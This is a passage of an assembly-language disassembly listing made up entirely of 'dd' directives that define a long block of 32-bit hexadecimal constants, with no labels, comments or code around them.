		dd 0EA8CE04Bh, 92D529FEh, 93D0E517h, 6C68D65h, 4D9BB2D1h
		dd 0CD525B0Ah, 1666D251h, 0DC173E38h, 0E2643EBCh, 9CB54AF6h
		dd 0B70B157Ah, 0B6D2866Bh, 0EE692EABh, 23E58C7Eh, 89844F08h
		dd 5221FC34h, 80CDEA7Ch, 0C2DF56B4h, 1B671B02h,	5B8DDA7Bh
		dd 0C1ED27E3h, 176FD34Bh, 25ED988Fh, 0DE745382h, 0F7A6F09h
		dd 67AB44Bh, 0ED058224h, 33108157h, 4B729457h, 84712A02h
		dd 0CC2930E0h, 2CA358D6h, 31488EE1h, 0C0C338ABh, 90410C7Bh
		dd 85AB40FEh, 892E465Eh, 84B513D8h, 5237B574h, 8D81C1CDh
		dd 66A23332h, 112A2D0h,	1A3D8B8Fh, 533EDA11h, 0A47BDF65h
		dd 2785AAC8h, 0B78E2A0Bh, 0EA5F2B9Dh, 0BC71682Ch, 3B797502h
		dd 2CD4AD4Bh, 611ED394h, 9C97A903h, 641DAF9Ch, 0F171315h
		dd 7121B53Eh, 71FFB9A5h, 0C4692F75h, 0FD348735h, 0F0BC9718h
		dd 0D573A499h, 6F068767h, 33923748h, 0FFF6DF2h,	9CD12D2Eh
		dd 93B15CFFh, 0D65EB674h, 0F52C9472h, 0F8920EA0h, 2AFD0D69h
		dd 3CD2F86Eh, 0A6BF6929h, 5957644Ah, 5C310CFCh,	6DFAA4D5h
		dd 0D6A3EEF5h, 0D7CEA4F2h, 357151C5h, 806D1E0Eh, 0EDEBE50Fh
		dd 2B48558Eh, 0F5FEE2B4h, 0A35C24FCh, 1872DD0Fh, 0E7DCFB76h
		dd 6A8636A1h, 3E063D07h, 44354A6Ch, 43A0A5A5h, 44D91CDCh
		dd 71A617CEh, 653B2517h, 4C3FE6CFh, 59D59DC1h, 0ABD25B5Ah
		dd 0E61F54A0h, 0C2F856Eh, 80DCA02Dh, 325F7640h,	0CFEA8BADh
		dd 47ABE40Eh, 6B8ADF9Ch, 1AAA8513h, 0E805D8ABh,	860BE7FDh
		dd 0EEAD800Ah, 0EF7F2A00h, 0AF8CB877h, 5D28B8DAh, 4FCFA4ECh
		dd 519175B1h, 0C2091D6Dh, 3B1B0CF4h, 866D8357h,	1F90F4DFh
		dd 5B81E253h, 3A69DD6h,	2D7E8D78h, 36301444h, 0F06FF186h
		dd 0DF8C8FAAh, 1109A6C0h, 72762DBAh, 0C9B45C2Ch, 0EAC0D0DBh
		dd 92E1C9B5h, 325E2296h, 0CF2AFAADh, 5FCCE1EEh,	84AF7FF1h
		dd 4E30DD87h, 0F6CCAEA0h, 899182DFh, 0E2A8E03h,	0CA816EB1h
		dd 27819FB1h, 0AF3082E2h, 17DA3357h, 0F7AE8EEDh, 0C76A1B53h
		dd 0FE1C8740h, 0CAEAA9EAh
		dd 0F8FDEFCDh, 1CE9E138h, 0CA529376h, 2E6A2C7Ch, 817A6ED0h
		dd 15434B2Bh, 110AC214h, 0C8C91924h, 0FD5BB91Bh, 66D029AAh
		dd 0ACDCFAF9h, 0A2D1C754h, 368D17EEh, 0F3283B90h, 6A1377E4h
		dd 878E7968h, 0F1ECE288h, 0E1A8A346h, 0B8401B6Eh, 0B32621C6h
		dd 0E1A465A7h, 7D531FD9h, 0ABA1F62Ah, 2ADFFC48h, 0FBCA2E11h
		dd 0E5C63FDFh, 39B9B0E6h, 169B720Fh, 8AC8A8DDh,	0B1806321h
		dd 38F0ED90h, 78537302h, 8FA4B9ABh, 0FD8C865Ch,	37199F0Bh
		dd 0E0A7FAA9h, 0CFB0EB31h, 4DC785A8h, 0F5BA6079h, 9BDE2A8Fh
		dd 0AF87C02Dh, 21C1D355h, 0CF9DDDF5h, 0F97C6BC3h, 6C9EA577h
		dd 220B5AFEh, 9A97ABC5h, 9A34E68Ah, 9798B861h, 58BAEDCCh
		dd 0B9A7487h, 0EDE860F2h, 5A36A7DCh, 23D81570h,	0DA17CBEFh
		dd 0C2CA60F9h, 0D71B7460h, 4DC830B6h, 0E5F50AC1h, 543BF66Dh
		dd 12CBE83Dh, 73B7E15Dh, 0A9BC1B56h, 391B5C62h,	6EFA6E52h
		dd 0A76D6C75h, 1A6F1BC6h, 1571991Eh, 0ACE9CD96h, 303BD3E3h
		dd 0CED37EE2h, 8804717Ah, 0BFBA385Fh, 20A11196h, 94A27F06h
		dd 0B2B8E254h, 723A0669h, 0C801E42Bh, 7026B94Fh, 24085613h
		dd 0A4E02FC1h, 73010325h, 0AADDC868h, 0E289D7BBh, 50E413ABh
		dd 0EE152438h, 646D917Fh, 5DC6A5AFh, 0D70CC447h, 46069D2Fh
		dd 9BB427EBh, 648E8DB0h, 0F84A8E23h, 79CFA703h,	10EEA111h
		dd 2C44E38Dh, 83D70819h, 0D54A9FCBh, 3512EDE9h,	3268A3A1h
		dd 55BCA15Fh, 0C810A905h, 90070FC1h, 0B36D935Bh, 3C4B5149h
		dd 0CC6555DCh, 0DA6A4524h, 5940BFEBh, 0E3031A09h, 0F3CCE4A9h
		dd 79074441h, 0B1D0F2Ch, 86DB4B86h, 0FDC65A98h,	0CE222AFFh
		dd 89C85590h, 2D2DE4CCh, 75FEF338h, 8280C985h, 1D7EBD71h
		dd 0AB1BE2BAh, 45DFC65h, 468259F0h, 0FDB55E5Dh,	95F245C2h
		dd 62084C03h, 712CA222h, 93E194D3h, 5B3F66B8h, 0BA477910h
		dd 0C5C43CF3h, 1CB03D9Dh, 0B0FD6875h, 0B0A0BDF3h, 0FB6D8FBCh
		dd 736D37FBh, 9DD1520Dh, 9C90E3E2h, 9C1013Fh, 4F36C4A1h
		dd 0D3BE3E62h, 35052DE3h, 0B087A80Fh, 0FDF7521Bh, 92B68FF4h
		dd 0B7D7799Ch, 78E86F08h, 0F49BC45Bh, 0F9BB576Eh, 6A08D020h
		dd 41D1BE09h, 99155923h, 0EF64247Bh, 12A14676h,	41899034h
		dd 8782F5EEh, 0A1634CA1h, 1F55D776h, 923C279Ch,	8EA1EBDAh
		dd 939E0301h, 8FC9BBB9h, 0C43816A8h, 0AF1040D3h, 0F81322FFh
		dd 23472866h, 0E5B5BEB3h, 0C96F1A44h, 62B41459h, 0E1B1E004h
		dd 0E2471D87h, 86960820h, 9B1373A4h, 4949AFFBh,	4B4770C2h
		dd 929D2FE3h, 75FDDF2Dh, 88BA196Ch, 0BAD07723h,	0AA1F2B95h
		dd 0C0D1CF36h, 80A69165h, 39E11FBEh, 7487D639h,	723A67Ah
		dd 7763987Ch, 886919E8h, 268C6553h, 9BEF896Fh, 0B21D8262h
		dd 4CBB3901h, 1D9A44D5h, 581D6637h, 6119BA28h, 0DED8582Fh
		dd 0A75ACDB2h, 0C55B9BDCh, 94CC5BC1h, 38559A9Fh, 6D019D7Ah
		dd 49285BD7h, 6730A1E2h, 0EB2250D2h, 6417884Eh,	3F4DBB2Ch
		dd 76483F9Bh, 3AE9128Ch, 0F845F2C2h, 550495B9h,	1A44993Eh
		dd 0DFC25FC7h, 0BA3F150Eh, 0D06AD10Eh, 0D3A75F16h, 59EA9BE2h
		dd 0A005F9D2h, 0B5396E7Eh, 0AABC7BFh, 3ABD97BBh, 8AC3E118h
		dd 2213427Ch, 759553ABh, 7B5BD631h, 0B4F12335h,	0F2428AB6h
		dd 436364B7h, 0A6F6AD2Ch, 0D87FE847h, 7578EE0Bh, 0D3FBCA6Eh
		dd 217D24E1h, 5AC6184Dh, 0CCEB6AA7h, 0B804C076h, 0D95190B7h
		dd 449372A3h, 68A78EA1h, 21D5BCE7h, 5C38EB57h, 0C9CDEF4h
		dd 0DF542D66h, 0CE15302Dh, 8E410D06h, 59BEDF06h, 6EC12A2Bh
		dd 8F1B4840h, 0D4E5AB1Fh, 9A6A5A58h, 408A062Ch,	0DA164C89h
		dd 0B36AE34Bh, 0B88F5A7Ah, 654DA8B5h, 0A9508FFh, 1444D03Bh
		dd 0E8654EA7h, 5BE5574Fh, 0AA920F1Ah, 0C99780FFh, 1618942Bh
		dd 0B44A1D0Eh, 673E9BEEh, 0C4B6E697h, 0C9BC7F17h, 0E48A9808h
		dd 0BB037977h, 0F4407B48h, 8E415E87h, 5BFC31EBh, 67FB2FF0h
		dd 0EBF3624Dh, 8BDD23C8h, 4F464E08h, 9445E9F3h,	0AF217CA6h
		dd 0D7B02788h, 0DB655F9Dh, 3003F013h, 2F303666h, 9DF14953h
		dd 0AAE6C3Ah, 4ECFBA83h, 8AB5E0BBh, 8C79AD38h, 6E93E5F1h
		dd 2219EA65h, 47607B96h, 4D55385Ah, 1658BB3h, 3B8DA07Eh
		dd 0E3FAFA4Eh, 0D9F01A3Fh, 0F77B7865h, 1265016Fh, 5ABA7A65h
		dd 50024B57h, 0E1B7103Ch, 0B34E56B9h, 0F0F582CCh, 36120976h
		dd 47BED4D9h, 3B43436Bh, 8DE8D67Ah, 0DBD011CDh,	0C54E83E4h
		dd 0E9AC889Bh, 76CE6EC1h, 9369FC73h, 89056F2Ah,	80B9C214h
		dd 0EFEA79Ah, 95E32F16h, 0FB63C7F6h, 6F5E1232h,	733A77EDh
		dd 6860C5FAh, 0D190ECD6h, 0F625705Bh, 4956D692h, 0BEEDBDBDh
		dd 0C6A2385Dh, 3FEB3878h, 849B49EDh, 45382F31h,	19E0F0E5h
		dd 2F902FE4h, 662EEEEEh, 80740542h, 6B43432Fh, 9FEFA94Ch
		dd 8C3FF60h, 0F71E1BCCh, 9C4ABEFFh, 892D3CDBh, 8386D140h
		dd 0F9291A4Bh, 0A48D0D93h, 312EFA19h, 0B06BE83Ah, 0D57D52Fh
		dd 0A07215DBh, 88DE8550h, 0AAC54E74h, 7B29D250h, 4FC61E11h
		dd 23FA59D3h, 0F707AC14h, 5702260Ah, 0FCDBB3F6h, 0F9835DDBh
		dd 0D4C84200h, 0B6A1BC76h, 0A680A147h, 32C6E7B1h, 9C09E4A4h
		dd 7EFF3200h, 33789286h, 1972EE7Dh, 3D187402h, 2C7545Eh
		dd 0DB6BE227h, 91B03A1Ch, 0DCDA31B4h, 1AEA5B4Bh, 7D25D02Fh
		dd 15535B19h, 493275C5h, 9D155A1Bh, 0B93DFEC2h,	61253BB7h
		dd 13A4E98Ah, 0BF03E572h, 2EB3B3D9h, 3DF53225h,	81A0CAh
		dd 0AB224DFCh, 7832CD26h, 40925EA4h, 0FF6F4042h, 5E01CA9Eh
		dd 1BCF240Eh, 856B7CC2h, 10D7F243h, 3F580804h, 0C6326E70h
		dd 699E2955h, 185B2267h, 741E3E61h, 2BF34C97h, 0FF221617h
		dd 71218EA9h, 0DE4E3BCAh, 0C328B89Fh, 239B773Bh, 8ADB4DCEh
		dd 0EE5C5B74h, 0FD27BBF0h, 0A879B91Bh, 0F670703Ch, 599BF8D0h
		dd 8259AD89h, 536A347h,	54C7D614h, 0E9F37533h, 90B887ADh
		dd 4A442F3Dh, 794E3AC6h, 0E49BAC49h, 53BB621Ah,	0FE9F003Eh
		dd 961F916Ch, 0A2764372h, 4AB259E7h, 6D782E20h,	387A7853h
		dd 45719980h, 657BC3B5h, 91876DC4h, 0DA006458h,	1A40807Ch
		dd 0CFD3D5E0h, 13BC1F57h, 0D358CB47h, 0E7007B3Dh, 8D42271Ah
		dd 2887B224h, 0EC53F269h, 72FA139h, 45E1793Ah, 0AF34C337h
		dd 434B5D76h, 1C46FB96h, 3E2F6EDBh, 8AF09DA9h, 89839420h
		dd 0A415DAF7h, 0A6DBA8DEh, 0FFBAE7D1h, 25DFCC0h, 0A60A13BEh
		dd 878CF579h, 0C112CB83h, 4B9F62BBh, 170BB76Ah,	98B5862Bh
		dd 0C5FD671Ah, 0B95331BFh, 7273E9C0h, 0D18A138Dh, 0EA2728Ah
		dd 204C182Dh, 0CE8B6612h, 503DB359h, 0CA1F2D52h, 7219CBF6h
		dd 101C6D6Dh, 26540E5Fh, 0CD9FC29h, 5CAEB137h, 0FDE911E0h
		dd 7D7742C9h, 7787E10Eh, 7238DDB8h, 46A78AA2h, 8D13E02Bh
		dd 42742B1Dh, 8CBF1ACFh, 0DC3853ABh, 0E3D94A7Dh, 98E53952h
		dd 88D84772h, 0C824A6D6h, 842AB279h, 0C0C023ECh, 0E2A2717Ah
		dd 0F00543BAh, 0D4CD2337h, 0C3E99EC3h, 0D60AAE1Bh, 409ADA34h
		dd 0C4056690h, 0D51E7AEAh, 0D9839030h, 0D408D144h, 9C3243A8h
		dd 26499396h, 1AC8D852h, 0DF719267h, 3BBA7AB2h,	97D07132h
		dd 657A952Bh, 6B93FBF2h, 0E3F5B74Ch, 0A9BE5F63h, 99ED8D12h
		dd 9C85DA4Eh, 0AC8B562Dh, 6A02AE87h, 90009BCh, 0BBF8624Bh
		dd 23BC948h, 291309FBh,	677389FBh, 8B03812Dh, 20B35717h
		dd 6E136E21h, 8E07AF8Ch, 8B258729h, 2A311420h, 0F342A072h
		dd 1818CF10h, 791EBEDDh
		dd 0C1012782h, 303EF754h, 3A39D205h, 449D2680h,	0B3818Ch
		dd 93A2241h, 0BAA51559h, 0A795B99Ch, 0FBBCED62h, 0F211F091h
		dd 306329F9h, 0A4D051F7h, 277922E4h, 0CDF4F0Dh,	77F45CDEh
		dd 0C3F80714h, 493AE42Eh, 7FAE9AE9h, 0DEE5196h,	22AF6A1Dh
		dd 93DB26AFh, 0CC0B814Ah, 1DF55BE2h, 55F10B4Dh,	0AC48D481h
		dd 0CA31E3D6h, 6E7610E0h, 0B40282D1h, 0A03AD7A5h, 88036A7Dh
		dd 57472E10h, 0EB99B42Bh, 0EBA87B3Bh, 1E33A5Eh,	7F5D8CD0h
		dd 0AAD8719Fh, 76754E38h, 1A267153h, 7D3C1B36h,	0EFE6332Dh
		dd 2D03194Ah, 83240012h, 0BD194B9Bh, 548A01BFh,	93CD746Ch
		dd 0F7065CF3h, 6E782EA5h, 0E20D6433h, 0B400392Bh, 0AFBFD17Dh
		dd 0EEBFA191h, 0A6BDD7BCh, 0BE6301DCh, 8CA3B80Eh, 0BDF1D8C4h
		dd 18112A28h, 0D7F48499h, 0A5C3923Ch, 0CFDF6F41h, 4D100250h
		dd 0F67C7303h, 5AD9A725h, 0BCDE66A8h, 8509330Bh, 4D79A51Ah
		dd 0DE74F7E9h, 6B5E6B6Dh, 243C5752h, 894EA19Ch,	0CCA4B36Bh
		dd 72E23FEh, 44BC73C0h,	4C1F0862h, 34139572h, 0B1685027h
		dd 481D548Ch, 41F782B1h, 7F2EFBEAh, 264A2C01h, 8BC34D36h
		dd 0B8C3EC33h, 5D4E1146h, 2E297A4Ah, 9173B9C0h,	3E74FE91h
		dd 779BCDE1h, 47017208h, 51DADF9Fh, 25AC689h, 3783F545h
		dd 9BF57135h, 99D7A28Ah, 75B0FAFBh, 0FD563592h,	39B4453Eh
		dd 9C9379B9h, 9B120450h, 9D367E6Fh, 0C90C591Bh,	0B66FBDF1h
		dd 0CDA9A512h, 9CBAC7CDh, 0D28B72AAh, 666BD77Eh, 751E60EDh
		dd 1E1180E0h, 811F99FDh, 804B555h, 3D17062Dh, 0CE28F894h
		dd 3BC9DFFh, 0A2249E25h, 0AB9C8819h, 32F30FBDh,	8C7D1ABAh
		dd 7A31A74Ch, 73086866h, 71C7FF18h, 4071535Eh, 8FAFD37Fh
		dd 0C9B98286h, 0F51E5DE2h, 0FCB1FD13h, 0D1D52804h, 9B1AEA35h
		dd 0BC9CC152h, 41E199A6h, 0AA53B6E5h, 0E605A68Dh, 328F517Eh
		dd 653F6C29h, 23A35672h, 0A1ED792Eh, 0F97A9375h, 8373F3D1h
		dd 42C628B6h, 0B028F860h, 2485B387h, 83EF2B64h,	2D144613h
		dd 0FC36B88Ah, 4B5C5834h, 220106E2h, 1C3409DDh,	5D311A0Fh
		dd 499A1187h, 0A4272459h, 12C110DBh, 0C77E5D62h, 0EA6E09D6h
		dd 0E3B1EC85h, 0EC97DB12h, 0F03157B7h, 0CD920349h, 8348C9B8h
		dd 1C8BF280h, 0DEE853C2h, 62824487h, 0A3366064h, 0A271A87h
		dd 54EE5931h, 913D583Fh, 0FE3F8107h, 0BBAF0949h, 3EFFB631h
		dd 1391C78h, 0EE686513h, 76491B7Eh, 4CEAC43h, 0C6547FACh
		dd 0B3573E28h, 9E546801h, 70135481h, 2EE76E95h,	75814E2Ah
		dd 4F2CBBC6h, 4D0CAB37h, 22984B9Ch, 796B2A0Bh, 0B30B67FBh
		dd 19EEE5A0h, 419519EBh, 3210ED8Eh, 8B2B9BF3h, 0A72C58C3h
		dd 0FBF84781h, 80AA9726h, 0B5F79132h, 39CF9025h, 0CB5C9ADDh
		dd 1B5051B2h, 6E90120Ah, 55197DEDh, 2CB0B67Ah, 5298FD99h
		dd 0F55E956Fh, 0A58ECDD8h, 0F00E97DAh, 0C15EE51Dh, 0AAA8ADC1h
		dd 90743AC1h, 4E072686h, 3953BB86h, 99D60F75h, 2CDB568h
		dd 228707BDh, 264722BEh, 7AB20AECh, 0C132493h, 0D75059Fh
		dd 0B4EA1D6Ah, 7B9F1410h, 5D907574h, 991BCC25h,	0BD1318A6h
		dd 0C850B4Ah, 81ACDEA1h, 52C89879h, 0A42F7806h,	0B05E9CDFh
		dd 7D5F0024h, 45317039h, 610EE38Eh, 1C5E686Ah, 5A7277D7h
		dd 0A95A148Bh, 79F2D7C8h, 0F0799921h, 47939F61h, 0BA7CB1E2h
		dd 5177F734h, 0F799B25Fh, 260A11F2h, 0C096D225h, 0A8B1FDCh
		dd 2475E8CAh, 1AA2EAh, 5E44A401h, 784956ADh, 27D15426h
		dd 51F4381h, 3A0B9AA6h,	5052AC47h, 0D83FA3ABh, 9182241Eh
		dd 459A42E9h, 0D6EA80B3h, 36217818h, 2614FF14h,	0A2DBE8EAh
		dd 0E6F189h, 8E9ACA0h, 410F795Eh, 0AC9F114Dh, 21C67700h
		dd 0A89ACF23h, 2852277Eh, 3FE1772Bh, 0A627F655h, 0FDDA0663h
		dd 33247EDh, 57CEBC6Dh,	0F0038958h, 0C3126E3Bh,	888D087Eh
		dd 0F5C3BDE3h, 0C58BA435h, 0C260C6BFh, 47CA7183h, 0F7594D1Bh
		dd 0FCFA518h, 13BF8593h, 0BC8F6FBEh, 0ED247BE7h, 0D8D445A7h
		dd 65553F35h, 7881A995h, 0FAB41B5Eh, 84FF3551h,	0E814D50Dh
		dd 0F5A7016Eh, 2125BDC2h, 1596D8F9h, 3CA075B8h,	0B1F7E0A8h
		dd 4A0409D5h, 56D540ADh, 1FC1A31Eh, 0ACE4188Ah,	0C0EF81CBh
		dd 0D967B454h, 4B95622Ch, 939524C9h, 7A9450D0h,	0DD5CD242h
		dd 25D74E4Ch, 70FA3F42h, 32CD529h, 1062622Eh, 0FDDECB8Fh
		dd 71BE97FAh, 0B0164492h, 0BF1090DCh, 0A5642F6Fh, 5385451Bh
		dd 0C79DC9F8h, 27350CE2h, 0BAE3F23Dh, 7B3BF14h,	3B93333Fh
		dd 6F3E2BFCh, 8A23EED9h, 9EF45311h, 90EC899Eh, 0E527F3F9h
		dd 0D52760FFh, 1BC0D159h, 1BA09033h, 9C6F57A7h,	3F669BC2h
		dd 0ECEF357Fh, 9617E931h, 0EB711C47h, 3EFCB64Fh, 0E21E7429h
		dd 8A131980h, 0F1F0D251h, 0E35CE34Ch, 0A2EBBA7h, 8698C680h
		dd 0EE04DF57h, 4BA42A4Ah, 13356430h, 841B3619h,	7C63D1D1h
		dd 456839AAh, 0F823DA61h, 0E24C599Ah, 0E855952Eh, 8298256Eh
		dd 0DAB6C761h, 3FDB4DBAh, 0A758E4F4h, 7A371FA2h, 0B194C0E2h
		dd 0B6A37BECh, 5BC3AC64h, 0AAA19039h, 77099ADAh, 63AEA6A0h
		dd 8B9E960h, 73917D2Bh,	0B042680h, 2A151004h, 2AC224E3h
		dd 0A9624B87h, 97DB4D35h, 0CA6473CEh, 0D21D5D85h, 0CDF82B54h
		dd 3A815A13h, 83A18808h, 0E64077B0h, 0ADE971E0h, 25C1F27Eh
		dd 3F408AD7h, 657781ECh, 0DE234F1Ah, 0F5972328h, 0D4DF6BC6h
		dd 7D025C8Bh, 8718C844h, 0F8074AEBh, 0CE21962Eh, 45B515DCh
		dd 3ED15D53h, 3622BD02h, 0D42D9F40h, 3EA10841h,	30CE9320h
		dd 23886BB4h, 5E54AB5h,	0CA901815h, 0B68919A7h,	0F75C1737h
		dd 94229E22h, 976082Bh,	0E3DF3043h, 0A007AF35h,	4D755B1Ch
		dd 0E3EC4A4Fh, 0EFCC1D37h, 5FDF01F8h, 67E01F86h, 98B28E2Eh
		dd 6DC06649h, 0A6F54FFBh, 6285ABBFh, 113F3715h,	0AE1C3EEEh
		dd 0C0FEC34Eh, 73782297h, 0BEB47276h, 76F62FDAh, 0C3E25290h
		dd 97175C5Bh, 0AD802583h, 596C959h, 35AF8D88h, 0C4AA68DDh
		dd 51771583h, 0C0BD10BFh, 0C0F79EF4h, 41BC5489h, 4682D08Eh
		dd 0E976F5D9h, 43427134h, 4B388C80h, 2B7675BDh,	0B07E72Eh
		dd 297B80A1h, 0B933CB1Fh, 553D1DA8h, 2C9213F1h,	49B7927Ch
		dd 9643EFECh, 8EE9FAA3h, 924DBB10h, 69C53B8Fh, 0FDD0BB06h
		dd 8110AF30h, 6E4E5AC1h, 0D19DA738h, 1D6BA86Dh,	0F2412445h
		dd 0D16A01A9h, 4B70C6E0h, 71F8BDCCh, 0C79FA9AFh, 0F9D154Ah
		dd 0F7541D36h, 293AC505h, 26F4C7E5h, 626A3CF0h,	0CED87BE3h
		dd 0B8DC5ECDh, 87E5302Eh, 5C843F24h, 43FDDCE4h,	0F01A79Bh
		dd 0DBE342BBh, 686A745Ah, 58A1E31Fh, 0C343C6F6h, 0EC834733h
		dd 9473363Eh, 286494AAh, 2C632FA3h, 88246991h, 0F5515576h
		dd 0B83E04D2h, 249654EAh, 63B48E84h, 666C9FE6h,	0DB9E0B6Fh
		dd 5BE3EFADh, 61A1F716h, 742BBAFh, 48841CD5h, 0DCB80575h
		dd 8972B021h, 65B0E518h, 0CC3EC37Ch, 0F6349AAh,	277D3C56h
		dd 0FF2FBF76h, 59FDA036h, 84C89580h, 0D24CAAEBh, 0BFD71615h
		dd 941F721Dh, 6CDAE4AAh, 6919D259h, 0A8C94695h,	0A7FB1D24h
		dd 980B9229h, 4A06CB1h,	32FB816Fh, 39FA799Fh, 858E77C9h
		dd 90473460h, 60CA35BBh, 4C89374Eh, 1BEDA392h, 0E0D58A18h
		dd 0E8FE4AE4h, 0C1798D75h, 7EC1708Dh, 7733A956h, 0BCC40154h
		dd 2EA82741h, 0C3BAA743h, 649B2A1Ch, 17992BA8h,	0F8CBCB68h
		dd 574882CFh, 0A0E1986Ah, 12D4A167h, 0E9E257DEh, 0A9D51E4Eh
		dd 20DFE44Ch, 98C18F8Bh
		dd 387FE2C2h, 0E77AB15Bh, 0FF453311h, 0AE8F5C3Fh, 4AF2C2D7h
		dd 1672BD0Fh, 9B874D69h, 89F1B2F8h, 0D2F2BAA0h,	774F786Fh
		dd 9000AB3h, 59509C58h,	66FB6081h, 0E71E492Dh, 6491387Ah
		dd 6DD9BDD5h, 0FCA423D3h, 1362149Eh, 489FACC6h,	0E33E01D1h
		dd 0CE6D289Dh, 30D3812Dh, 6205123Eh, 8AFCCE89h,	4D56543h
		dd 2F4A685h, 1D29CA7h, 2E733DCFh, 0ADAEE073h, 0FE6531B0h
		dd 0C8FE0F2Dh, 475F4ED2h, 8CFA8F0Bh, 4ACB6D7h, 0E994EFA9h
		dd 0C5756872h, 8DFD21DFh, 0D445AD96h, 23AE2C56h, 5B7D7854h
		dd 83628BD6h, 0CE26803Ah, 0FB60D4CDh, 180A2EAAh, 2DB67852h
		dd 558F37FBh, 10007188h, 0B22C178Ah, 0D62E1BBEh, 27CAC999h
		dd 0CB29C9C4h, 6B90709Dh, 0F4BC115Dh, 5BE15A7Ch, 0DA2943C9h
		dd 0CB29FAFBh, 0AD100C9Fh, 46B6F4ECh, 1DC0F3B3h, 50995E90h
		dd 0FE75292Dh, 0E1138814h, 3C055805h, 0ED8FBE1Fh, 0E05C2A29h
		dd 763F0639h, 0F182BBAEh, 2AE07D65h, 0F0D0D55Ch, 5388791Bh
		dd 62CC0275h, 0C6AD54B1h, 0CCCD2E81h, 1C96AA56h, 48FEE64Bh
		dd 3C594550h, 5E3201FAh, 0C543FACAh, 2062E0AEh,	4887C7FDh
		dd 5901D0E5h, 0AECA057Eh, 7C028223h, 450A8FC1h,	54BEEFE4h
		dd 27551940h, 0F909A478h, 5BDC05FCh, 39855F46h,	0B3D98AFDh
		dd 1CD88664h, 81B3CBB7h, 2C186A9Eh, 2C3F98F5h, 0A3EE331h
		dd 523BB14Eh, 275798CDh, 375B26F2h, 6C0991BDh, 39C403Ch
		dd 57BC44DBh, 0C9555E15h, 0CDD6E371h, 0B38B0C5Ah, 7346B8Eh
		dd 2A2B6988h, 0ACF6548h, 0F96F989Bh, 3120467Ah,	18C27361h
		dd 0D53F293Bh, 473037C7h, 266EBBBh, 52FD72FDh, 0BC1644EBh
		dd 1C41E4DDh, 9330C13Bh, 91DABFCh, 0EDB00E49h, 49248A3Eh
		dd 0FDAD9903h, 0A4DD68FAh, 0F6B3EBD7h, 0A0C662FFh, 872BC9BCh
		dd 6C06B71Eh, 909B2C7Eh, 952C2A04h, 0A1AC3328h,	0BB9BAF95h
		dd 2489C227h, 456A48BCh, 0CADC3513h, 3EBE1FF0h,	0E0A8432Ch
		dd 0A7E0A837h, 1A8486A1h, 9BE3D7C1h, 0A2AB29ACh, 0F1995493h
		dd 2ED861F8h, 7E084E07h, 7AE7B35Dh, 0A23DA346h,	29A79F67h
		dd 0ADBB2478h, 0E8030B72h, 4A68D857h, 0A5BFFEA0h, 617FB36Ah
		dd 31391958h, 39FCB5DBh, 97BBA751h, 947EBC89h, 73F74BD9h
		dd 0C3B52BEAh, 0E3B923EBh, 50A80939h, 6BB58F0Eh, 2CA3B64Bh
		dd 0FEDA7EBFh, 20CFB8E8h, 95CB631Bh, 8D4D9C3Bh,	65681A18h
		dd 0E15CB0A4h, 0BE2A8808h, 0B167A6DCh, 0A16ED07Ch, 0C74A236h
		dd 7C4197B0h, 0BEFB2C08h, 0C761BE66h, 0D5AEC8B2h, 0EF8E38F3h
		dd 64481E00h, 0AAAA58E1h, 0C3D223AEh, 457F1394h, 0C2FC262Eh
		dd 1BDCF056h, 83391473h, 3323C485h, 1239793Ah, 0A6A7DF23h
		dd 92D2F64Ah, 0A9456D48h, 0BC2AF564h, 0A2E0444Ch, 0EE87EBF6h
		dd 439999CFh, 5C0AFABAh, 0B0CD888Fh, 4F942801h,	661ACDB0h
		dd 5E56A09Ah, 47062BA1h, 9A11609Dh, 0A9ACB365h,	0C023CFA8h
		dd 20F58D45h, 5966B41Ch, 37A4C086h, 4B097758h, 155D2A6Eh
		dd 8EE9E5EFh, 0DAFEDF79h, 0E3209ABh, 4D2B78D2h,	1BF7DBC8h
		dd 0DA61C7EAh, 0C9224DE4h, 3CA6DBCAh, 9EBB0B25h, 392867C5h
		dd 85AFD43Eh, 0CE6ECC5Eh, 0E1142A80h, 0BF2FDED5h, 6165564Fh
		dd 0B45DC619h, 7424C753h, 622F807Dh, 7A5CC1A3h,	4279C41Fh
		dd 0AE0BB983h, 5801AF35h, 8C7A329Eh, 39BD395Eh,	19D2DDAAh
		dd 20C35685h, 0DBA77B3h, 4592C208h, 2B37BE16h, 67902B75h
		dd 69BAA144h, 75A3AC3Eh, 0B3D149D9h, 8A7356B9h,	0BF45FADEh
		dd 0FB54C4Ch, 808D676Bh, 1C7BB43Eh, 21F768DCh, 0B3B69A5Dh
		dd 4BE0BCA5h, 0A4C9736Eh, 0AD693F6Ch, 0D62DC6A5h, 9217DB92h
		dd 47246B3Dh, 0A639FA8Eh, 4A297577h, 30A055F2h,	486130BDh
		dd 2708E54Ch, 2C11612Dh, 0B22011C7h, 37E3DD9h, 0DC5C00A4h
		dd 7505B57Ch, 7853D7EDh, 36BEDEEAh, 591DAA8Dh, 0F8D55D2Fh
		dd 73274956h, 83643315h, 4746A4EEh, 0D0758662h,	9E9F911Dh
		dd 4486C638h, 0E6FF037Ch, 0F6C012DAh, 0DAC36502h, 71ADF2A9h
		dd 0FF30E581h, 162D8600h, 56EB3DB3h, 0A1772E44h, 98AF24D0h
		dd 5C2B7CCh, 6D694E94h,	674A8DEDh, 4C013963h, 82521309h
		dd 0C02F3BEDh, 909B3566h, 98E477DEh, 167A230Fh,	2B457B47h
		dd 317BCA86h, 644A030h,	461689D1h, 0A77AD424h, 0C0C94E47h
		dd 0F6E3E473h, 9F87AD66h, 3E122251h, 5FF728AFh,	2E7E9C71h
		dd 15AC48F0h, 0F8B3E1EAh, 7A3879DCh, 0B0540409h, 0B5FBDFF6h
		dd 1BA82CC3h, 98388D8Ch, 0D61D842Dh, 0FE221FEFh, 0A089DCA0h
		dd 9806E515h, 524BB94Ch, 966FB62Ch, 0D436E289h,	89A27298h
		dd 0CCCB1E59h, 0D7B8C3C6h, 0E4F8BB7h, 84361364h, 33206B9Dh
		dd 789E1047h, 0E67D776Eh, 257DACBBh, 891869EDh,	3E533FACh
		dd 0C78DD338h, 0D5F5D955h, 3920BF21h, 0D85CBBB6h, 218D672h
		dd 928C050Dh, 0BC2D7316h, 0B31CA751h, 1C2FDD07h, 55039ED5h
		dd 0C8E2D7CAh, 92682394h, 0DEC1F612h, 0DDB9990Eh, 3163242h
		dd 96A8B470h, 716E9DF2h, 0F40FA4C1h, 40BD5832h,	0DE7B62DFh
		dd 81D1229Dh, 34F86A55h, 44417498h, 716A5E12h, 7CDC99B5h
		dd 0DE06571Bh, 49F3B2Eh, 5C7601C1h, 2DDEED2Eh, 87F52FC9h
